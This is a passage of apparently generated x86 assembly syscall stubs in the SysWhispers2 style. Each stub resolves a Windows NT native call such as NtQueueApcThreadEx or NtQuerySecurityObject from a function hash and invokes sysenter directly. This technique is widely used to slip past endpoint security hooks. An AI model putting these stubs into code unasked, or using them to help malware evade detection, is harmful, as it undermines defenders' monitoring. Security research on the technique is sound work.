lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtOpenThread ENDP
NtOpenTimer PROC
push ebp
mov ebp, esp
push 0DDB02BD4h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtOpenTimer ENDP
NtOpenTransaction PROC
push ebp
mov ebp, esp
push 00CA22233h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtOpenTransaction ENDP
NtOpenTransactionManager PROC
push ebp
mov ebp, esp
push 035A70126h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtOpenTransactionManager ENDP
NtPlugPlayControl PROC
push ebp
mov ebp, esp
push 0041AE08Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtPlugPlayControl ENDP
NtPrePrepareComplete PROC
push ebp
mov ebp, esp
push 00890003Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtPrePrepareComplete ENDP
NtPrePrepareEnlistment PROC
push ebp
mov ebp, esp
push 05FC11E13h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtPrePrepareEnlistment ENDP
NtPrepareComplete PROC
push ebp
mov ebp, esp
push 04929BB70h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtPrepareComplete ENDP
NtPrepareEnlistment PROC
push ebp
mov ebp, esp
push 076A81142h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtPrepareEnlistment ENDP
NtPrivilegeCheck PROC
push ebp
mov ebp, esp
push 0F855C1F7h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtPrivilegeCheck ENDP
NtPrivilegeObjectAuditAlarm PROC
push ebp
mov ebp, esp
push 03C52C61Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtPrivilegeObjectAuditAlarm ENDP
NtPrivilegedServiceAuditAlarm PROC
push ebp
mov ebp, esp
push 0B638BCA0h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtPrivilegedServiceAuditAlarm ENDP
NtPropagationComplete PROC
push ebp
mov ebp, esp
push 01E610EEEh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtPropagationComplete ENDP
NtPropagationFailed PROC
push ebp
mov ebp, esp
push 04E9E74C0h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtPropagationFailed ENDP
NtPulseEvent PROC
push ebp
mov ebp, esp
push 040836718h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtPulseEvent ENDP
NtQueryAuxiliaryCounterFrequency PROC
push ebp
mov ebp, esp
push 006AB2134h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryAuxiliaryCounterFrequency ENDP
NtQueryBootEntryOrder PROC
push ebp
mov ebp, esp
push 0039F9B95h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryBootEntryOrder ENDP
NtQueryBootOptions PROC
push ebp
mov ebp, esp
push 0C7572ACFh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryBootOptions ENDP
NtQueryDebugFilterState PROC
push ebp
mov ebp, esp
push 0F1480645h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryDebugFilterState ENDP
NtQueryDirectoryFileEx PROC
push ebp
mov ebp, esp
push 014275CF0h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 10h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryDirectoryFileEx ENDP
NtQueryDirectoryObject PROC
push ebp
mov ebp, esp
push 02C1F1453h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 7h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryDirectoryObject ENDP
NtQueryDriverEntryOrder PROC
push ebp
mov ebp, esp
push 01BB8695Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryDriverEntryOrder ENDP
NtQueryEaFile PROC
push ebp
mov ebp, esp
push 0BC2B8EBCh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 9h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryEaFile ENDP
NtQueryFullAttributesFile PROC
push ebp
mov ebp, esp
push 0DBD9D771h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryFullAttributesFile ENDP
NtQueryInformationAtom PROC
push ebp
mov ebp, esp
push 04CD6B17Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryInformationAtom ENDP
NtQueryInformationByName PROC
push ebp
mov ebp, esp
push 0ED33FA82h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryInformationByName ENDP
NtQueryInformationEnlistment PROC
push ebp
mov ebp, esp
push 09844E58Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryInformationEnlistment ENDP
NtQueryInformationJobObject PROC
push ebp
mov ebp, esp
push 0A4BFDDB2h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryInformationJobObject ENDP
NtQueryInformationPort PROC
push ebp
mov ebp, esp
push 064F6795Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryInformationPort ENDP
NtQueryInformationResourceManager PROC
push ebp
mov ebp, esp
push 027B50F2Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryInformationResourceManager ENDP
NtQueryInformationTransaction PROC
push ebp
mov ebp, esp
push 00C845229h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryInformationTransaction ENDP
NtQueryInformationTransactionManager PROC
push ebp
mov ebp, esp
push 03F29D430h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryInformationTransactionManager ENDP
NtQueryInformationWorkerFactory PROC
push ebp
mov ebp, esp
push 0055D25F4h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryInformationWorkerFactory ENDP
NtQueryInstallUILanguage PROC
push ebp
mov ebp, esp
push 073EF4472h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryInstallUILanguage ENDP
NtQueryIntervalProfile PROC
push ebp
mov ebp, esp
push 00F5D8C44h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryIntervalProfile ENDP
NtQueryIoCompletion PROC
push ebp
mov ebp, esp
push 0950EB59Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryIoCompletion ENDP
NtQueryLicenseValue PROC
push ebp
mov ebp, esp
push 021203C98h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryLicenseValue ENDP
NtQueryMultipleValueKey PROC
push ebp
mov ebp, esp
push 0E95DC8EAh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryMultipleValueKey ENDP
NtQueryMutant PROC
push ebp
mov ebp, esp
push 04F6A0EBEh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryMutant ENDP
NtQueryOpenSubKeys PROC
push ebp
mov ebp, esp
push 022D830B9h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryOpenSubKeys ENDP
NtQueryOpenSubKeysEx PROC
push ebp
mov ebp, esp
push 09860DE9Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryOpenSubKeysEx ENDP
NtQueryPortInformationProcess PROC
push ebp
mov ebp, esp
push 0B9A39E38h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryPortInformationProcess ENDP
NtQueryQuotaInformationFile PROC
push ebp
mov ebp, esp
push 0229A520Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 9h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryQuotaInformationFile ENDP
NtQuerySecurityAttributesToken PROC
push ebp
mov ebp, esp
push 001D01F70h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQuerySecurityAttributesToken ENDP
NtQuerySecurityObject PROC
push ebp
mov ebp, esp
push 08858D295h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQuerySecurityObject ENDP
NtQuerySecurityPolicy PROC
push ebp
mov ebp, esp
push 08651BBE5h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQuerySecurityPolicy ENDP
NtQuerySemaphore PROC
push ebp
mov ebp, esp
push 08555760Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQuerySemaphore ENDP
NtQuerySymbolicLinkObject PROC
push ebp
mov ebp, esp
push 0009E21C3h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQuerySymbolicLinkObject ENDP
NtQuerySystemEnvironmentValue PROC
push ebp
mov ebp, esp
push 0988B0EBFh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQuerySystemEnvironmentValue ENDP
NtQuerySystemEnvironmentValueEx PROC
push ebp
mov ebp, esp
push 01035528Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQuerySystemEnvironmentValueEx ENDP
NtQuerySystemInformationEx PROC
push ebp
mov ebp, esp
push 036D4F4AEh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQuerySystemInformationEx ENDP
NtQueryTimerResolution PROC
push ebp
mov ebp, esp
push 0148A1419h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryTimerResolution ENDP
NtQueryWnfStateData PROC
push ebp
mov ebp, esp
push 0AEC6509Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryWnfStateData ENDP
NtQueryWnfStateNameInformation PROC
push ebp
mov ebp, esp
push 0228BE4DFh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryWnfStateNameInformation ENDP
NtQueueApcThreadEx PROC
push ebp
mov ebp, esp
push 0382B0C96h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueueApcThreadEx ENDP
NtRaiseException PROC
push ebp
mov ebp, esp
push 0990F9595h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtRaiseException ENDP
NtRaiseHardError PROC
push ebp
mov ebp, esp
push 0FD6CFDFBh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtRaiseHardError ENDP
NtReadOnlyEnlistment PROC
push ebp
mov ebp, esp
push 00E26CB74h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtReadOnlyEnlistment ENDP
NtRecoverEnlistment PROC
push ebp
mov ebp, esp
push 0BB26A1B0h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtRecoverEnlistment ENDP
NtRecoverResourceManager PROC
push ebp
mov ebp, esp
push 01F06860Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtRecoverResourceManager ENDP
NtRecoverTransactionManager PROC
push ebp
mov ebp, esp
push 00A3606ACh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtRecoverTransactionManager ENDP
NtRegisterProtocolAddressInformation PROC
push ebp
mov ebp, esp
push 015831310h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtRegisterProtocolAddressInformation ENDP
NtRegisterThreadTerminatePort PROC
push ebp
mov ebp, esp
push 0DAB3C13Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtRegisterThreadTerminatePort ENDP
NtReleaseKeyedEvent PROC
push ebp
mov ebp, esp
push 00F4AF53Ch ; Load function hash into ECX.
